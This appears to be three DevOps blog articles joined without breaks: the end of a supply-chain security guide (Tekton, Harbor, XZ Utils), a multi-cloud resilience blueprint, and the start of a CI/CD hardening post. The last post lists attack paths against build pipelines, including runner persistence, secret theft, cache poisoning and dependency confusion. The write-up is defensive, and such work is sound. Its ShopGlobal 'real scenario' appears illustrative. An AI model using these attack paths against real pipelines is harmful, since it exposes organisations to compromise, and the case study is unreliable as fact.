kubectl apply -f https://storage.googleapis.com/tekton-releases/chains/latest/release.yaml

# Configure Chains for SLSA v1 provenance with OCI storage
kubectl patch configmap chains-config -n tekton-chains -p='{"data":{
  "artifacts.taskrun.format": "slsa/v2alpha3",
  "artifacts.taskrun.storage": "oci",
  "artifacts.oci.storage": "oci",
  "transparency.enabled": "true"
}}'

# Generate signing keys for Chains
cosign generate-key-pair k8s://tekton-chains/signing-secrets

SBOM generation Task

apiVersion: tekton.dev/v1beta1
kind: Task
metadata:
  name: generate-sbom
spec:
  description: Generate CycloneDX SBOM with Syft
  params:
    - name: IMAGE
      type: string
  workspaces:
    - name: source
  results:
    - name: SBOM_PATH
  steps:
    - name: generate
      image: docker.io/anchore/syft:v1.4.1
      script: |
        #!/usr/bin/env sh
        set -ex
        syft packages "$(params.IMAGE)" \
          --output cyclonedx-json \
          --file $(workspaces.source.path)/sbom.cdx.json
        echo -n "\((workspaces.source.path)/sbom.cdx.json" > \)(results.SBOM_PATH.path)

Vulnerability scan Task

apiVersion: tekton.dev/v1beta1
kind: Task
metadata:
  name: vulnerability-scan
spec:
  description: Scan for vulnerabilities with Grype, fail on high+
  params:
    - name: IMAGE
      type: string
    - name: FAIL_ON
      type: string
      default: "high"
  workspaces:
    - name: source
  steps:
    - name: scan
      image: docker.io/anchore/grype:v0.79.2
      script: |
        #!/usr/bin/env sh
        set -ex
        grype "$(params.IMAGE)" \
          --fail-on $(params.FAIL_ON) \
          --output cyclonedx-json \
          --file $(workspaces.source.path)/vuln-report.json

Full Pipeline definition

apiVersion: tekton.dev/v1beta1
kind: Pipeline
metadata:
  name: secure-build-pipeline
spec:
  params:
    - name: repo-url
      type: string
    - name: image-reference
      type: string
  workspaces:
    - name: shared-data
    - name: docker-credentials
  tasks:
    - name: fetch-source
      taskRef:
        name: git-clone
      workspaces:
        - name: output
          workspace: shared-data
      params:
        - name: url
          value: $(params.repo-url)

    - name: build-push
      runAfter: ["fetch-source"]
      taskRef:
        name: kaniko
      workspaces:
        - name: source
          workspace: shared-data
        - name: dockerconfig
          workspace: docker-credentials
      params:
        - name: IMAGE
          value: $(params.image-reference)

    - name: generate-sbom
      runAfter: ["build-push"]
      taskRef:
        name: generate-sbom
      workspaces:
        - name: source
          workspace: shared-data
      params:
        - name: IMAGE
          value: $(params.image-reference)

    - name: vulnerability-scan
      runAfter: ["generate-sbom"]
      taskRef:
        name: vulnerability-scan
      workspaces:
        - name: source
          workspace: shared-data
      params:
        - name: IMAGE
          value: $(params.image-reference)

Tekton Chains watches completed TaskRuns and automatically signs the provenance using the configured keys. This achieves SLSA Build Level 2 out of the box, and Level 3 with SPIFFE/SPIRE integration for non-falsifiable provenance.

Step 6: Harbor registry with policy enforcement

Configure Harbor to enforce signatures and trigger SBOM generation:

# Deploy Harbor with Trivy scanner (Helm)
helm repo add harbor https://helm.goharbor.io
helm install harbor harbor/harbor \
  --set expose.type=ingress \
  --set expose.ingress.hosts.core=harbor.example.com \
  --set trivy.enabled=true \
  --set persistence.enabled=true

# Configure project-level policies via Harbor API
# Require content trust (only signed images can be pulled)
curl -X PUT "https://harbor.example.com/api/v2.0/projects/myproject" \
  -H "Content-Type: application/json" \
  -u "admin:Harbor12345" \
  -d '{
    "metadata": {
      "enable_content_trust": "true",
      "enable_content_trust_cosign": "true",
      "auto_scan": "true",
      "prevent_vul": "true",
      "severity": "high"
    }
  }'

With enable_content_trust_cosign set to true, Harbor will refuse to serve images that lack a valid Cosign signature. With prevent_vul and severity configured, Harbor blocks pulls of images with vulnerabilities at or above the threshold. The auto_scan setting triggers Trivy scans on every push, and Harbor stores SBOM attestations as OCI artifacts alongside images.

Testing the end-to-end pipeline

Verify every enforcement point works by testing both the happy path and failure cases:

# TEST 1: Happy path; signed, attested, clean image deploys
# Run the GitHub Actions pipeline on a clean image, then verify locally:
cosign verify \
  --certificate-identity-regexp="https://github.com/my-org/.*" \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ghcr.io/my-org/myapp@sha256:abc123...

cosign verify-attestation --type spdxjson \
  --certificate-identity-regexp="https://github.com/my-org/.*" \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ghcr.io/my-org/myapp@sha256:abc123...

# Deploy to Kubernetes; should succeed
kubectl run test --image=ghcr.io/my-org/myapp@sha256:abc123...

# TEST 2: Unsigned image; admission controller blocks it
# Push an unsigned image directly (bypassing pipeline)
docker push ghcr.io/my-org/unsigned-app:latest

# Attempt deploy; Kyverno should reject with:
# "image signature verification failed"
kubectl run test-unsigned --image=ghcr.io/my-org/unsigned-app:latest
# Expected: Error from server: admission webhook denied the request

# TEST 3: SBOM policy violation; pipeline fails at gate
# Add a blocked dependency (e.g., event-stream) to package.json
# Push to trigger pipeline
# Expected: conftest step fails with:
#   "BLOCKED: package 'event-stream' is on the deny list"

# TEST 4: Critical vulnerability; Grype fails the build
# Use a base image with known critical CVEs
# FROM node:14  (has multiple critical CVEs)
# Expected: scan-action step fails with exit code 1

# TEST 5: Dependency drift; new package flagged for review
# Add a new dependency not in baseline.json
# Submit as PR
# Expected: warning annotation on the PR:
#   "NEW DEPENDENCY: 'newpkg@1.0.0' not in approved baseline"

# TEST 6: Harbor blocks vulnerable image pull
docker pull harbor.example.com/myproject/vulnerable-app:latest
# Expected: Error: FORBIDDEN; image has critical vulnerabilities

Why would this architecture have caught the XZ Utils attack?

Each enforcement layer independently addresses a different aspect of CVE-2024-3094.

SBOM dependency drift detection would have flagged the new binary test files and the modified build scripts between xz-utils 5.5.x and 5.6.0 as unexpected changes requiring review. The baseline comparison policy would emit NEW DEPENDENCY warnings for any component changes.

Maintainer change alerting would have flagged the transition from Lasse Collin to Jia Tan as the sole release author. The OpenSSF Scorecard integration would have assigned low maintainer scores to a single-maintainer project with a recently added co-maintainer.

Reproducible build verification comparing SBOMs from git source versus the release tarball would have revealed the build-to-host.m4 file present only in tarballs, the exact mechanism used to inject the backdoor.

Binary SBOM analysis of sshd would have detected the unexpected transitive dependency on liblzma through libsystemd, flagging the attack surface that made SSH vulnerable to a compression library backdoor.

Cryptographic provenance via SLSA provenance and Cosign attestations creates an auditable chain linking every artifact to its source commit, builder identity, and build environment, making it far harder to inject malicious code without detection.

No single tool would have stopped this attack. But multiple independent enforcement points, such as SBOM diffing, maintainer monitoring, build reproducibility, admission control, and continuous rescanning, create a defense-in-depth posture where the attacker would need to compromise multiple systems simultaneously. That transforms a supply chain attack from a single point of failure into a distributed consensus problem that the attacker must solve, dramatically raising the cost and reducing the probability of success.

Conclusion

The XZ Utils backdoor was not a failure of technology; it was a failure of process. A single underfunded maintainer, no automated supply chain verification, and no policy enforcement between source code and production deployment. The technical sophistication of the attack (Ed448 cryptography, IFUNC hijacking, multi-year social engineering) was extraordinary, but the defense required is not.

The architecture described here, SBOM generation at build, OPA policy gates, Cosign signing, Kyverno admission control, and continuous drift detection, is implementable today with open-source tools. The key insight is that supply chain security is not a single gate but a continuous verification loop: generate, attest, verify, scan, re-scan, alert, remediate. Every step in the pipeline both produces and consumes cryptographic evidence, and every enforcement point operates independently.

The most important technical decision is to make the CI/CD pipeline the only path to production; no manual pushes, no exceptions, no tag-based references. Every image must be signed, every SBOM must be attested, and every deployment must be verified. The self-healing feedback loops ensure that even if a vulnerability is discovered after deployment, the system automatically detects it, alerts, and triggers remediation.

After XZ Utils, the question is no longer whether to implement supply chain security, but how fast you can deploy it.

If AWS disappeared tomorrow, would your company survive?

Not degraded. Not slow. Gone.

Most "highly available" systems would collapse within hours. This isn't fear-mongering. It's an architectural reality that 90% of engineering teams refuse to confront.

This article is not a theory piece. It's a survival blueprint with real architecture, real code, and a real-world case study you can follow end to end.

The Real-World Wake-Up Call

December 7, 2021: The Day us-east-1 Broke the Internet

At 7:35 AM PST, AWS us-east-1 experienced a cascading failure. Here's what actually happened and why it matters:

The Trigger: A networking issue disrupted communication between internal AWS services in us-east-1. This wasn't a power outage. It wasn't a natural disaster. It was an internal control plane failure.

The Cascade:

• AWS Console became unreachable and teams couldn't even see their infrastructure

• DynamoDB, Lambda, SQS, Kinesis were all degraded or unavailable

• CloudWatch stopped reporting, so teams were flying blind

• Even the AWS Status Page was down because it was hosted on... AWS

The Real-World Damage:

• Disney+, Netflix, Slack, Venmo, Coinbase all experienced outages

• Robinhood users couldn't execute trades during market hours

• Warehouse robots at Amazon's own fulfillment centers stopped working

• Ring doorbell cameras went dark across millions of homes

• Thousands of companies with "99.99% availability" architectures went completely offline

The Uncomfortable Truth:

Every one of these companies had multi-AZ deployments. Many had auto-scaling. Some even had multi-region configurations. But almost none had control-plane independence.

When AWS couldn't talk to itself, it didn't matter how many availability zones you had.

Lesson: Multi-AZ is not resilience. Multi-region is not sovereignty. Multi-cloud without control-plane independence is illusion.

This incident, along with the Azure global authentication failure of March 2021 and the Cloudflare DNS disruption of June 2022, led me to develop what I call:

Survival-Grade Cloud Architecture (SGCA)

A framework for designing systems that don't just survive component failures; they survive provider failures.

The 4 Blackout Threat Models

Before we architect solutions, we need to understand what we're designing against. Not theoretical scenarios, but real failure modes that have already happened.

Threat Model 1: Regional Infrastructure Collapse

What: An entire cloud region goes dark. Power grid failure, network backbone cut, physical disaster.

Real precedent: The 2012 AWS us-east-1 outage caused by severe storms in Virginia knocked out power to multiple data centers simultaneously. Backup generators failed at some facilities.

Why Multi-AZ fails here: All availability zones within a region share the same regional backbone, power grid dependencies, and often the same physical geography.

Threat Model 2: Control Plane Failure

What: The cloud's management APIs, IAM, provisioning systems become unreachable. Your workloads might still run, but you cannot manage, scale, deploy, or authenticate.

Real precedent: The December 2021 us-east-1 outage was fundamentally a control-plane failure. Also, Azure AD's global authentication outage in March 2021 locked users out of Microsoft 365, Azure Portal, and every application using Azure AD for SSO, worldwide.

Why this is devastating: If you use AWS IAM for authentication, AWS Secrets Manager for credentials, and AWS CloudWatch for monitoring, a control plane failure means you're deaf, mute, and blind simultaneously.

Threat Model 3: DNS / Routing-Level Disruption

What: DNS resolution fails or is hijacked. BGP routes are corrupted. Traffic literally cannot find your services.

Real precedent: In June 2022, Cloudflare experienced an outage affecting 19 data centers due to a BGP routing change gone wrong. In October 2021, Facebook/Meta disappeared from the internet entirely for ~6 hours because of a BGP withdrawal that also took down their internal DNS.

Impact: It doesn't matter if your servers are running perfectly. If DNS can't resolve your domain, you don't exist on the internet.

Threat Model 4: Geopolitical / Sovereign Isolation

What: Government sanctions block access to a cloud provider. Data sovereignty laws force isolation. A country-level firewall blocks traffic.

Real precedent: When sanctions were imposed on Russian entities in 2022, AWS and Azure suspended accounts, leaving affected businesses with zero access to their infrastructure. China's Great Firewall regularly disrupts traffic to foreign cloud services.

Impact: Your entire infrastructure becomes legally or physically inaccessible. Not because it failed, but because access was revoked.

⚠️ Pause and ask yourself: If your cloud console is unreachable right now, can you still deploy? Can users still log in? Can you even see what's happening?

If the answer is no to any of these, keep reading.

Survival-Grade Architecture Blueprint

Here's the complete 4-layer architecture that survives all four threat models:

Let's break down each layer.

Layer 1: Independent Global Traffic Authority

The Golden Rule: DNS must not depend on the cloud it routes to.

If you're using Route53 to route traffic to AWS, and AWS goes down, your DNS goes down with it. This is the most common single point of failure in "multi-cloud" architectures.

Design Principles:

• Dual DNS providers: Cloudflare as primary, NS1 (or Google Cloud DNS) as secondary

• Health-based routing: Active health checks against each cloud's endpoints, not just TCP ping but actual application-level health (/healthz returning 200 + data freshness check)

• Aggressive TTL: 30-second TTL for DNS records so failover propagates in under a minute

• Anycast: Use a DNS provider with anycast networking so DNS resolution itself is globally distributed and resilient

Layer 2: Active-Active Multi-Cloud Compute

This is where Kubernetes becomes your portability layer. The key insight: your container is your contract. If the same container runs on EKS and GKE, your application is cloud-agnostic.

Architecture:

• AWS EKS cluster as primary compute

• GCP GKE cluster as secondary compute (always warm, always running)

• ArgoCD installed in both clusters, both pulling from the same Git repository

• Identical container images pushed to both ECR and GCR via CI pipeline

• Traffic shift = DNS routing change, not a deployment event

Key Rule: The control plane of your compute must not depend on a single cloud. ArgoCD gives you this. It's your control plane, not AWS's.

Layer 3: Data Survival Strategy (The Hardest Layer)

Data is where multi-cloud gets genuinely hard. You have three models, each with real trade-offs:

Model A: Globally Distributed SQL (CockroachDB / YugabyteDB)

• True active-active writes across clouds

• Automatic conflict resolution via consensus protocol

• RPO: Near-zero (seconds)

• Trade-off: Higher write latency (~50-100ms cross-region), higher cost, operational complexity

Model B: Event-Sourced Architecture (Kafka Multi-Cluster)

• All state changes captured as immutable events

• Kafka MirrorMaker 2 replicates across clusters

• State can be reconstructed from event replay

• RPO: Seconds to minutes depending on replication lag

• Trade-off: Application must be designed for event sourcing from the start

Model C: Async Cross-Cloud Replication

• Primary database (e.g., RDS PostgreSQL) with async replication to secondary cloud

• Object storage sync (S3 → GCS)

• RPO: Minutes (replication lag)

• Trade-off: Data loss window during failover, conflict resolution needed

Comparison:

My Recommendation: For most teams, start with Model C for your database and Model B for your event bus. Graduate to Model A when your business criticality demands near-zero RPO.

Layer 4: Identity Independence

If AWS IAM goes down, can your users still log in? If your secrets are only in AWS Secrets Manager, can your GCP services authenticate?

Design:

• Self-hosted IdP: Keycloak deployed on both clouds, backed by the replicated database

• Federated OIDC tokens: Applications validate JWT tokens, not cloud-specific IAM policies

• HashiCorp Vault: Secrets replicated across both clouds, auto-unsealed independently

• mTLS via service mesh: Istio/Linkerd for inter-service auth that doesn't depend on any cloud IAM

Never bind authentication exclusively to one hyperscaler. This is the #1 mistake I see in "multi-cloud" architectures.

Real-World Example

Building a Blackout-Proof E-Commerce Platform: "ShopGlobal"

Let me walk you through a real scenario. ShopGlobal is a mid-size e-commerce company processing $2M/day in orders. They run entirely on AWS. Here's what happened and how they rebuilt.

The Incident

On a Tuesday morning, AWS us-east-1 experienced a partial control-plane outage. ShopGlobal's impact:

• Payment service went down. Secrets Manager unreachable, Stripe API keys inaccessible.

• Auth went down. Cognito unavailable. No user could log in.

• Product catalog degraded. DynamoDB throttled, eventually unreachable.

• Order processing went down. SQS backed up, Lambda couldn't provision.

• Monitoring went down. CloudWatch unreachable. Team couldn't see what was failing.

Total downtime: 4 hours 22 minutes Revenue lost: ~$370,000 Customer trust impact: 12% increase in churn that quarter

The Rebuild: Applying SGCA

Here's how ShopGlobal rebuilt using the Survival-Grade Architecture:

Results after rebuild:

• Next us-east-1 degradation → Automatic failover in 47 seconds

• Zero revenue lost

• Users didn't notice

• Cloud Exit Time: < 2 minutes

Step-by-Step Implementation Guide

The entire working implementation is open-sourced. Clone the repo and follow along:

🔗 GitHub Repository: github.com/SubhanshuMG/survival-grade-infra

survival-grade-infra/
├── terraform/
│   ├── main.tf                          # Multi-cloud providers + Cloudflare DNS failover
│   ├── variables.tf                     # All configurable parameters
│   ├── outputs.tf
│   ├── modules/
│   │   ├── eks/                         # AWS EKS cluster module
│   │   │   ├── main.tf
│   │   │   ├── variables.tf
│   │   │   └── outputs.tf
│   │   ├── gke/                         # GCP GKE cluster module
│   │   │   ├── main.tf
│   │   │   ├── variables.tf
│   │   │   └── outputs.tf
│   │   └── dns/
│   │       ├── main.tf
│   │       └── variables.tf
├── k8s/
│   ├── base/                            # Shared Kubernetes manifests
│   │   ├── namespace.yaml
│   │   ├── deployment.yaml
│   │   ├── service.yaml
│   │   └── ingress.yaml
│   ├── overlays/                        # Cloud-specific Kustomize patches
│   │   ├── aws/
│   │   │   └── kustomization.yaml
│   │   └── gcp/
│   │       └── kustomization.yaml
│   ├── argocd/                          # GitOps Application definitions
│   │   ├── app-aws.yaml
│   │   └── app-gcp.yaml
│   └── base/
│       ├── cockroachdb-multicloud.yaml  # CockroachDB StatefulSet
│       └── keycloak.yaml                # Identity layer
├── src/
│   └── storage-sync/
│       └── sync-worker.py               # Cross-cloud S3→GCS replication
├── ci/
│   └── .github/workflows/
│       └── multi-cloud-deploy.yaml      # Build + sign + push to ECR & GCR
├── chaos/
│   ├── blackout-test.sh                 # Full blackout drill script
│   └── dns-failover-test.sh
└── docker/
    └── Dockerfile

Let's walk through what each piece does and why it exists.

Step 1: Terraform Multi-Cloud Infrastructure

📁 terraform/variables.tf

All configurable parameters: project name, AWS/GCP regions, Cloudflare zone, node counts, and instance types. Change these values once and every module inherits them.

📁 terraform/main.tf

This is the core of the entire infrastructure. Here's what it provisions and why:

• AWS VPC + EKS cluster with nodes spread across 3 availability zones, NAT gateways per AZ (not a single shared one), and proper subnet tagging for Kubernetes load balancers

• GCP GKE cluster with workload identity enabled, node autoscaling, and a separately managed node pool (never use the default pool in production)

• Cloudflare health checks hitting /healthz on both clouds every 30 seconds. These aren't TCP pings. They're full HTTPS requests that verify the application is actually serving traffic.

• Cloudflare Load Balancer with geo-based steering: US East traffic goes to AWS, US Central goes to GCP. If either cloud fails the health check, all traffic shifts to the surviving cloud within one TTL cycle (30 seconds).

The critical design decision here: DNS and traffic routing live on Cloudflare, completely independent of both AWS and GCP. If either cloud burns down, the routing layer keeps working.

📁 terraform/modules/eks/main.tf

EKS module using the official terraform-aws-modules/eks/aws with IRSA enabled for pod-level IAM. Nodes are in a managed node group with autoscaling set to 2x the baseline.

📁 terraform/modules/gke/main.tf

GKE module with VPC-native networking, workload identity, and the REGULAR release channel. The default node pool is removed immediately and replaced with a custom one (this is a GKE best practice that most teams skip).

Step 2: Kubernetes Application Manifests

The manifests use Kustomize with a base + overlays pattern. One set of base manifests, two cloud-specific overlays.

📁 k8s/base/deployment.yaml

The deployment includes topology spread constraints to distribute pods evenly across zones, readiness and liveness probes on /healthz, and environment variables pulled from ConfigMaps and Secrets. The image tag is a placeholder that each overlay replaces with the correct cloud-specific registry URL.

📁 k8s/base/service.yaml

ClusterIP service + Ingress with TLS via cert-manager. Both clouds serve the same hostname app.shopglobal.com because Cloudflare handles which cloud actually receives the traffic.

📁 k8s/overlays/aws/kustomization.yaml 📁 k8s/overlays/gcp/kustomization.yaml

Each overlay patches three things: the container image registry (ECR vs GCR), the Kafka broker addresses (AWS cluster vs GCP cluster), and the auth issuer URL. Everything else stays identical. Same application code, same configuration structure, different cloud-specific endpoints.

Step 3: ArgoCD Multi-Cluster GitOps

📁 k8s/argocd/app-aws.yaml 📁 k8s/argocd/app-gcp.yaml

ArgoCD is installed independently on both clusters. Each instance pulls from the same Git repo but points to its respective Kustomize overlay. Auto-sync is enabled with self-healing and pruning turned on.

This is the key insight of the entire compute layer: you never deploy to two clouds. You push to Git once. Both ArgoCD instances independently sync the change. If you need to fail over, you change a DNS weight, not a deployment pipeline. There's nothing to "redeploy" because both clouds are always running the latest version.

Slack notifications are configured on sync failures so your on-call team knows immediately if a cloud falls out of sync.

Step 4: CI/CD Multi-Cloud Image Pipeline

📁 ci/.github/workflows/multi-cloud-deploy.yaml

The pipeline does five things on every push to main:

1. Builds the container image once using Docker Buildx

2. Tags and pushes to AWS ECR using OIDC-based authentication (no long-lived AWS keys in GitHub)

3. Tags and pushes to GCP Artifact Registry using workload identity federation (same principle, no keys)

4. Signs both images with Cosign so both clusters can verify the image hasn't been tampered with

5. Updates the Kustomize overlays with the new image tag and commits back to the repo, which triggers ArgoCD sync on both clouds

The image tag format is <short-sha>-<unix-timestamp> to guarantee uniqueness and traceability. Both registries always have identical images. If one registry becomes unreachable, the other cloud still has its copy.

Step 5: CockroachDB Multi-Cloud Deployment

📁 k8s/base/cockroachdb-multicloud.yaml

CockroachDB runs as a StatefulSet with 3 nodes per cloud (6 total). The replication zone is configured with locality-aware constraints: at least 2 replicas on AWS, at least 2 on GCP. The database is set to SURVIVE REGION FAILURE, meaning it maintains consensus even if an entire cloud goes offline.

Each node advertises its locality as cloud=aws,region=us-east-1 or cloud=gcp,region=us-central1. CockroachDB uses this to make intelligent placement decisions, keeping reads local while ensuring writes are replicated cross-cloud before acknowledging.

The persistent volumes use 100Gi with ReadWriteOnce access. In production, you'll want to tune --cache and --max-sql-memory based on your node size.

Step 6: Cross-Cloud Object Storage Sync

📁 src/storage-sync/sync-worker.py

This is an event-driven replication worker, not a cron job. It listens for S3 event notifications (via SQS or EventBridge) and replicates each object to GCS in real-time with MD5 integrity verification. On startup, it runs a full bucket reconciliation to catch anything that was missed.

Deletions are mirrored too. If an object is removed from S3, the worker removes it from GCS. The full reconciliation compares object sizes and only re-syncs what's actually different, so it's safe to run repeatedly without hammering your bandwidth.

Deploy this as a Kubernetes Deployment on both clouds. The AWS instance handles S3→GCS direction. A mirrored instance on GCP handles GCS→S3. Bidirectional sync with conflict resolution by last-write-wins.

Step 7: Keycloak Multi-Cloud Identity Setup

📁 k8s/base/keycloak.yaml

Keycloak runs as a 2-replica Deployment backed by CockroachDB (the same database that's already replicated across clouds). This means Keycloak on GCP automatically has the same user database, sessions, and realm configurations as Keycloak on AWS. No separate identity sync needed.

Cluster discovery between Keycloak instances uses a headless Kubernetes service with JGroups DNS_PING. The Infinispan cache is set to kubernetes stack mode so session data is shared across replicas within each cloud.

Both Keycloak instances serve auth.shopglobal.com, and Cloudflare routes auth traffic the same way it routes application traffic. If AWS goes down, users authenticate against GCP's Keycloak, which has the exact same data because it reads from the same CockroachDB cluster.

This is why CockroachDB was chosen over simpler database options. It's not just for application data; it's the shared backbone that makes identity, sessions, and secrets work cross-cloud without custom sync pipelines.

Chaos Blackout Testing Strategy

Architecture without testing is fiction. Here's how you prove it works.

Blackout Drill Script

📁 chaos/blackout-test.sh

This is a 6-phase automated drill that simulates a complete primary cloud failure and grades your architecture. Run it quarterly. Make it policy, not optional.

Phase 1: Baseline Measurement Records current latency, writes test data to the primary cloud, and verifies both endpoints are healthy before the drill begins. If either cloud is already unhealthy, the script aborts.

Phase 2: Simulate Primary Cloud Failure Disables the AWS pool in Cloudflare's load balancer via API. This is identical to what happens during a real outage from the DNS perspective. Traffic has nowhere to go on the primary side.

Phase 3: Measure Failover Polls the application endpoint every second, counting how long until a 200 response comes back (now served from GCP). This is your actual, measured RTO. Not a theoretical number from a spreadsheet. The real thing.

Phase 4: Data Integrity Check Reads back the test data that was written before the failover. If it's accessible on the secondary cloud, your data replication is working. Then writes new data on the secondary and reads it back to confirm write continuity.

Phase 5: Verify Auth Flow Hits the Keycloak OIDC discovery endpoint to confirm authentication is working on the surviving cloud. If users can't log in, surviving the outage doesn't matter.

Phase 6: Restore Primary Re-enables the AWS pool, waits for health checks to pass, and confirms the primary cloud is back in the rotation.

The script outputs a final report card and sends results to Slack:

═══════════════════════════════════════════
  BLACKOUT DRILL RESULTS
═══════════════════════════════════════════

  RTO (Recovery Time):    42.37s
  RPO (Data Integrity):   PASS
  Auth Continuity:        PASS
  Post-Restore Health:    PASS

  GRADE: A. Survival-grade resilience confirmed

Grading criteria:

• Grade A: RTO under 60 seconds + RPO pass

• Grade B: RTO under 300 seconds

• Grade F: Everything else

What This Tests

Run quarterly. No exceptions. "Reliability without testing is fiction."

Resilience Maturity Model

Use this to assess where you are and where you need to be:

New Metrics: Your Resilience Scorecard

I'm introducing three metrics that I believe every organization should track:

Cloud Exit Time (CET) How long to fully operate from an alternate provider after your primary disappears.

• Tier 0-1 organizations: CET is typically "unknown" or "weeks"

• Tier 3-4 organizations: CET should be under 2 minutes

Control Plane Dependency Index (CPDI) What percentage of your infrastructure depends on a single provider's APIs?

• Count every service: IAM, DNS, secrets, monitoring, logging, CI/CD, container registry

• If CPDI > 70%, you have a single-cloud architecture wearing a multi-cloud costume

Data Replication Confidence Score (DRCS) Measured empirically via quarterly blackout drills, not theoretical.

• DRCS = (Successful data reads post-failover / Total data written pre-failover) × 100

• If you haven't tested it, your DRCS is 0%. Not "assumed 99%." Zero.

The Strategic Close

Cloud resilience is no longer a technical problem. It's a geopolitical and architectural problem.

The companies that will survive the next decade aren't the ones with the most availability zones. They're the ones with provider independence, data sovereignty, and the discipline to test their survival assumptions quarterly.

Here's what you should do this week:

1. Calculate your CPDI. List every cloud-specific service you depend on. Be honest.

2. Define your CET. If your primary cloud disappeared right now, how long until you're operational elsewhere? If you don't know, the answer is "too long."

3. Schedule your first blackout drill. Even if it's just a tabletop exercise. Start somewhere.

4. Move DNS off your primary cloud. This is the single highest-impact, lowest-effort change you can make today.

The architecture in this article isn't theoretical. It's what separates companies that survive outages from companies that make headlines during them.

If your cloud provider disappeared tomorrow, would your system survive?

If not, you now have the blueprint to fix it.

This post takes the red-team viewpoint: real bypass paths (compromised runners, poisoned caches, dependency confusion, indirect pipeline poisoning), why they work and a concrete, cloud-agnostic redesign for GitHub Actions running Python microservices. You’ll get code, an implementation plan, testing approaches and a gripping real-world-inspired story to help this land with impact.

Quick summary (TL;DR for the impatient)

• Treat the build environment as untrusted. Ephemeral runners, least privilege and strict workflow triggers reduce risk.

• Caches, third-party actions and dependencies are blind trust boundaries that validate, sign or remove them for critical builds.

• Use attestations (SLSA/in-toto), signed artifacts (cosign/Sigstore), SBOMs and reproducible builds to prove an artifact’s provenance.

• Harden runners, avoid running unreviewed code on privileged runners and adopt runtime detection (Falco, Trivy) for defense in depth.

Red-team POV: real bypass paths

Attack Path #1 - Compromised Runners (Persistent Backdoors)

Self-hosted or shared runners are especially dangerous. If an attacker can make the runner execute untrusted code (through a malicious PR or specially crafted workflow trigger), they can persist on the host, harvest environment variables and secrets, tamper with build outputs and later push poisoned artifacts. Even ephemeral GitHub-hosted runners are safer only because they’re ephemeral; self-hosted runners can survive malicious actions and provide an attacker with ongoing access.

What attackers do: exfiltrate GITHUB_TOKEN or other secrets, install persistence (systemd/cron), modify artifacts mid-build or pivot into internal networks reachable from the runner.

Why it works: runners have access to code, build caches and sometimes cloud credentials. Workflows often run scripts and test suites with no strong isolation between "build logic" and "developer-supplied code".

Attack Path #2 - Poisoned Caches & Artifacts

Build caches and artifact storage are performance shortcuts and trust shortcuts. Many cache systems will extract an archive and place its contents into the workspace without validating each file’s origin or integrity. An attacker with temporary access can push a crafted cache archive that overwrites files or injects malicious files that later get executed.

What attackers do: obtain cache tokens or a write path, upload a malicious tarball (containing backdoors or altered dependencies), then wait for downstream builds to restore that cache and run the tainted content.

Why it works: cache restore steps and some action-marketplace items assume the cache is benign; there is little to no path-level validation when extracting.

Attack Path #3 - Dependency Confusion & Malicious Packages

If your pipeline pulls dependencies from remote registries (PyPI, npm, etc.) using ambiguous names, attackers can publish a public package that shadows your internal one. When building scripts or tests pip install mycorp-utils, the public malicious package can be fetched and executed sometimes via post-install hooks.

What attackers do: publish a malicious package with the same name as an internal package or craft a trojanized version of a transitive dependency.

Why it works: developers or CI scripts use permissive installation rules and don’t pin exact sources or hashes.

Attack Path #4 - Indirect Pipeline Poisoning (PPE)

Attackers can change artifacts that the pipeline executes without modifying the workflow itself. For example, if the pipeline runs pytest, an attacker who commits a malicious test will have their code executed by CI. The YAML looks clean; the real problem is that the runnable artifacts called by the YAML are controlled by code that may not be strictly reviewed.

What attackers do: commit scripts, tests or makefiles that contain exfiltration or persistence code; then the pipeline runs them as part of normal testing or packaging.

Why it works: workflows invoke project scripts without verifying the content or authorship of those scripts.

Why this goes viral (and scares execs)

• Hacker framing: the attack is easy to explain as “the build baked a backdoor” It’s visceral and scary.

• Security fear + practical fixes: readers want practical, implementable mitigations; this post gives them them from baked-in platform config to SLSA-level attestations.

• Observable risk: artifacts are shipped and can be used to breach customers and partners; the stakes are huge which drives virality.

Concrete case study: Python microservices on GitHub Actions (cloud-agnostic)

Scenario: two microservices (service-auth and service-data) packaged as Docker containers; GitHub repo with main branch and PR workflow protections. The pipeline builds, tests, pushes images and deploys to a Kubernetes cluster (any cloud or on-prem).

Repo layout (example)

├── .github/workflows/ci-cd.yml
├── service-auth/
│   ├── Dockerfile
│   ├── app.py
│   ├── requirements.txt
│   └── tests/
├── service-data/
│   ├── Dockerfile
│   ├── main.py
│   ├── requirements.txt
│   └── tests/
└── k8s/
    ├── deployment-auth.yaml
    └── deployment-data.yaml

Vulnerable pipeline (what an attacker abuses)

A naive workflow:

name: CI/CD Pipeline
on:
  push:
    branches: [main]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: docker build -t myregistry/service-auth:latest ./service-auth
      - run: docker build -t myregistry/service-data:latest ./service-data
      - run: docker push myregistry/service-auth:latest
      - run: docker push myregistry/service-data:latest
      - run: kubectl apply -f k8s/

Weaknesses exploited: runs-on shared environment, no scanning, no signing, caches or transitive dependencies unchecked, main branch pushes may accept automated commits and tests/scripts are executed without provenance.

Redesigned secure pipeline; principles first

1. Ephemeral & Isolated Runners

   • Prefer GitHub-hosted runners (runs-on: ubuntu-latest) for sensitive jobs.

   • If self-hosted runners are necessary, host them in isolated ephemeral VMs/containers with daily rebuilds and no network access to internal systems.

2. Least Privilege & Narrow Permissions

   • Use the permissions: field in GitHub Actions to restrict tokens.

   • Avoid exposing secrets to PRs from forks. Require maintainers to trigger privileged jobs manually or via protected labels.

3. Pin & Verify Action Versions

   • Pin marketplace actions to immutable commits or release SHAs (avoid floating @v3 where possible).

   • Maintain an allowlist of trusted actions.

4. No Blind Cache Restore for Critical Paths

   • Avoid using cache restore for anything that could alter build behaviour in security-sensitive pipelines or scope cache keys narrowly and validate contents.

   • Consider disabling caches for the critical path; accept slower builds for stronger security.

5. Dependency Verification

   • Pin dependencies and use hash verification in requirements.txt (pip supports --require-hashes).

   • Use private package registries or package proxying (e.g., mirror PyPI internally).

   • Implement dependency reviews for new packages.

6. Artifact Signing & Attestations

   • Sign built images with cosign (Sigstore) and publish signatures to a transparency log (Rekor).

   • Generate SBOMs and store them alongside the artifact.

   • Adopt SLSA/in-toto-style attestations tying the artifact back to the exact build inputs.

7. Split Build & Deploy

   • Build artifacts in one pipeline and store them as signed immutable images (by digest).

   • Run a separate, approved release pipeline that only takes signed artifacts and deploys them.

8. Runtime Detection

   • Use runtime security (Falco) and container scanning (Trivy) to detect anomalies in running workloads.

Implementation: step-by-step

